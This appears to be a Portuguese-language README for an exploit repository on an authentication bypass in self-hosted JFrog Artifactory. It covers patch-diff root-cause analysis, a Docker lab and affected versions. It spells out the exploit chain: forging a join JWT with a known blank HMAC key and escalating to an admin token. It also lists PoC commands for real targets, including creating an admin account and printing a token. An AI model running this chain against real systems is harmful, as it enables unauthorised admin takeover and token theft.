CVE-2026-82329 — Bypass de autenticação não autenticado no JFrog Artifactory → tomada de conta de administrador

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · divulgado em 2026-08-28 · explorado ativamente.

Um atacante não autenticado, adjacente à rede, gera um token de acesso de administrador da plataforma contra uma instalação padrão self-hosted do JFrog Artifactory. Este diretório contém um laboratório Docker reproduzível e um PoC validador parametrizado por URL.

Reproduzido e verificado A/B em artifactory-oss 7.161.19 (vulnerável, JFrog Access 7.191.11) vs 7.161.20 (corrigido, JFrog Access 7.191.14).

A causa raiz foi derivada do próprio patch do fornecedor (diff de bytecode do serviço JFrog Access de código fechado entre as duas imagens de contêiner) e depois comprovada ao vivo — não retirada de nenhum relatório de terceiros.

---

Resumo da cadeia de exploração (tudo não autenticado)

1. Forje um JWT de "join" do cluster. O JFrog Access verifica JWTs de join com a join key da plataforma usada como segredo HMAC. Um bug deixa uma join key em branco no conjunto de verificadores confiáveis em uma instalação padrão. getSigningKey("") = pkcs7(<empty>, 32) = 32 bytes de 0x20 — um segredo totalmente conhecido. Assim, qualquer pessoa pode assinar um JWT de join válido (alg=HS256, kid = SHA256(""), iat recente, qualquer service_id, skip_node_registration=true).
2. POST /access/api/v1/registry/join (RegistryNoAuthResource — sem autenticação) → HTTP 201, retorna um token SERVICE com escopo admin (público = Access).
3. POST /access/api/v1/tokens com esse token, scope=applied-permissions/admin&audience=* → um token de acesso de administrador completo da plataforma (este é o comportamento de "geração de tokens admin" relatado na natureza).
4. Use-o — leia toda a configuração do servidor, liste/roube todos os tokens de acesso e, no Pro/Enterprise, crie usuários administradores, repositórios, etc.

$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Passo 1  /registry/join           -> HTTP 201  token SERVICE gerado (scp=admin)
[+] Passo 2  /access/api/v1/tokens    -> HTTP 200  token ADMIN (scp=applied-permissions/admin, aud=*)
[+] Passo 3  prova da capacidade de admin:
      GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, somente admin; sem auth=401)
      GET /access/api/v1/tokens (lista TODOS os tokens) -> HTTP 200 (somente admin)
[=] VULNERÁVEL - atacante não autenticado obteve ADMIN nesta instância (CVE-2026-82329).

---

Causa raiz (a partir do diff do patch)

O JFrog Access 7.191.11 → 7.191.14 alterou exatamente 12 classes. As relevantes para segurança:

1. Join key em branco silenciosamente confiável — JoinKeyAccess.tryResolveJoinKeys()

// VULNERÁVEL (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
    JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" permitido
    joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // chave em branco adicionada ao conjunto confiável
    log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});

// CORRIGIDO (7.191.14)  -> entradas em branco filtradas
Arrays.stream(joinKey.get().split(",")).map(String::trim)
      .filter(Strings::isNotBlank)
      .forEach(...);

Sem join keys adicionais configuradas (o padrão), o valor da configuração é ""; "".split(",") produz [""], então um JoinKeyHashPair em branco (kid = SHA256("") = e3b0c442…b855) entra no mapa confiável de "join keys adicionais". O JoinKeyHashPair também foi endurecido para rejeitar null/blank no construtor.

Confirmado na instância padrão ao vivo — log de inicialização do servidor:

o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys

Esse kid é exatamente SHA256("").

2. A join key em branco é um segredo HMAC conhecido — JoinKeyUtils.getSigningKey()

public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// preenchimento pkcs7 de uma chave VAZIA: padLength = 32  ->  32 bytes, cada um == (byte)32 == 0x20

Portanto, o JWT de join para a chave em branco é assinado com HS256 sobre 32 bytes de 0x20 — conhecido pelo atacante.

3. O endpoint de join não autenticado gera um token admin

RegistryNoAuthResource (@Path("/v1/registry"), sem @Authorized):

@POST @Path("join")
public Response join(String jwtStr) {                    // corpo = o JWT bruto
    JwtToken token = this.joinService.join(jwtStr, ...); // valida: iat recente (<30s) + assinatura da join key
    return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}

JoinServiceImpl → ServiceTokenProviderImpl.getToken():

TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
    .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();

Um token de acesso sem expiração, com escopo admin, assinado com RSA. O token de serviço com scope("admin") pode então gerar um token de usuário completo applied-permissions/admin via POST /access/api/v1/tokens.

4. Endurecimento corroborante — ProjectResource

Dois endpoints mudaram de @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) (GET/DELETE {projectKey}/resources), confirmando que a primitiva de exploração é uma identidade SERVICE forjada e que a superfície autorizada por SERVICE estava excessivamente exposta.

---

Versões afetadas / corrigidas

Somente self-hosted (a nuvem já foi corrigida). Vulnerável ≤ a última versão em cada branch abaixo; atualize para a correção correspondente:

Branch	Vulnerável ≤	Corrigido
7.111	7.111.20	7.111.21
7.117	7.117.27	7.117.28
7.125	7.125.19	7.125.20
7.133	7.133.28	7.133.29
7.146	7.146.37	7.146.38
7.161	7.161.19	7.161.20

A correção acompanha o JFrog Access 7.191.14.

---

Reproduzir (laboratório)

Consulte lab/README.md. Em resumo:

cd lab
ART_VER=7.161.19 docker compose up -d          # vulnerável (padrão); aguarde ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> VULNERÁVEL

docker compose down
ART_VER=7.161.20 docker compose up -d          # controle corrigido
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> NÃO VULNERÁVEL (join HTTP 400)

O Artifactory 7.161.x requer PostgreSQL (seu serviço Access recusa o Derby embutido), então o laboratório inclui um sidecar postgres.

---

Validar um alvo real

python3 poc/cve_2026_82329_poc.py http://<host-artifactory>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1   # mudança de estado Pro/Ent
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only                     # imprime um token admin

Aponte-o para qualquer coisa que sirva como front-end do JFrog Router (/access/… acessível). Ele reporta VULNERÁVEL (admin obtido) ou NÃO VULNERÁVEL (join rejeitado). Execute apenas contra sistemas que você está autorizado a testar.

---

Detecção / IOCs